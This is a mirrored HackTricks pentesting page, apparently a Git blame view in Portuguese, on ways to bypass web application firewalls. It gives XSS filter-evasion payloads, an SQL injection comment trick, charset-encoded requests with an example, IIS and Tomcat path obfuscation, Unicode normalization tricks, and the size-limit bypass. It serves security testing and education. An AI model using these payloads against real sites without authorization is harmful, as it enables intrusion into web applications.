Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-28 15:41:34 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

77 lines
5.1 KiB
Markdown
Raw Normal View History

Translated to Portuguese
2023-06-06 18:56:34 +00:00
# Bypass de WAF
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
</details>
Translated to Portuguese
2023-06-06 18:56:34 +00:00
## Bypass de Regex
Diferentes técnicas podem ser usadas para burlar os filtros de regex nos firewalls. Exemplos incluem alternar maiúsculas e minúsculas, adicionar quebras de linha e codificar payloads. Recursos para os vários bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Os exemplos abaixo foram retirados [deste artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
```bash
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
Translated to Portuguese
2023-06-06 18:56:34 +00:00
## Codificação de Conjunto de Caracteres
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
```bash
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
Syntax misatake
2022-11-28 12:31:33 +00:00
print(urllib.parse.quote_plus(s.encode("IBM037")))
GitBook: [#3275] No subject
2022-06-22 22:03:55 +00:00
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
Translated to Portuguese
2023-06-06 18:56:34 +00:00
## Ofuscação
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
Translated to Portuguese
2023-06-06 18:56:34 +00:00
## Compatibilidade Unicode
Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), caracteres que compartilham compatibilidade Unicode podem ser capazes de contornar o WAF e executar como a carga útil pretendida. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode)
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
### Exemplo
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥ --> ＜img src=p onerror='prompt(1)'>
```
Translated to Portuguese
2023-06-06 18:56:34 +00:00
## Ultrapassando Limitações de Tamanho
Clean up and add additional WAF bypass techniques to waf-bypass.md
2023-06-01 03:00:55 +00:00
Translated to Portuguese
2023-06-06 18:56:34 +00:00
É comum em WAFs baseados em nuvem que, se a carga útil for maior que X tamanho, a solicitação não será verificada pelo WAF. Você pode simplesmente usar isso para contorná-los.
Reference in a new issue Copy permalink